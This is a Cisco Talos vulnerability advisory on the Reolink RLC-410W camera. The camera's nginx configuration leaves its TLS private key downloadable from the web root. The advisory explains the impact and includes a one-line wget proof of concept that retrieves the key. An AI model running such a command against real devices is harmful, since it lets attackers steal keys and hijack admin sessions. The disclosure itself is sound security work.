Talos Vulnerability Report

TALOS-2022-1446

Reolink RLC-410W web server misconfiguration information disclosure vulnerability

JANUARY 26, 2022

CVE NUMBER

CVE-2022-21236

Summary

An information disclosure vulnerability exists due to a web server misconfiguration in the reolink RLC-410W v3.0.0.136_20121102. A specially-crafted HTTP request can lead to a disclosure of sensitive information. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

Reolink RLC-410W v3.0.0.136_20121102

Product URLs

RLC-410W - https://reolink.com/us/product/rlc-410w/

CVSSv3 Score

8.1 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-219 - Sensitive Data Under Web Root

Details

The Reolink RLC-410W is a WiFi security camera. The camera includes motion detection functionalities and various methods to save the recordings.

The RLC-410W uses nginx as web server. Following the HTTPS configuration used by the camera:

```
[...]

http
{

   [...]

    server
    {
        listen 443;
        root /mnt/app/www/;
[1]
        index index.php index.htm index.html;

        ssl on;
        ssl_protocols     TLSv1.2;
        ssl_certificate /mnt/app/www/self.crt;
        ssl_certificate_key /mnt/app/www/self.key;
[2]

       [...]
    }
}
```

At `[2]` is specified the location of the TLS private key. Due to the TLS key being inside the document root, specified at `[1]`, and the insufficient access control, the TLS private key is downloadable with a HTTP request. This could lead an attacker to impersonate the camera. Furthermore, in specific context, because TLS v1.2 is used, it would be possible for an attacker to decrypt the HTTPS conversation and stole the authentication token of a logged user, potentially allowing the attacker to act with admin privileges. Using the valid admin credentials and features of the reolink API it is possible to affect the integrity and availability of the device.

Exploit Proof of Concept

Executing:

```
$ wget -qO - http://$CAMERA_IP/self.key | head -1
```

Will result in the following output:

```
-----BEGIN RSA PRIVATE KEY-----
```

Timeline

2022-01-14 - Vendor Disclosure

2022-01-19 - Vendor Patched

2022-01-26 - Public Release

CREDIT

Discovered by Francesco Benvenuto of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

NEXT REPORT

TALOS-2021-1428

TALOS-2022-1447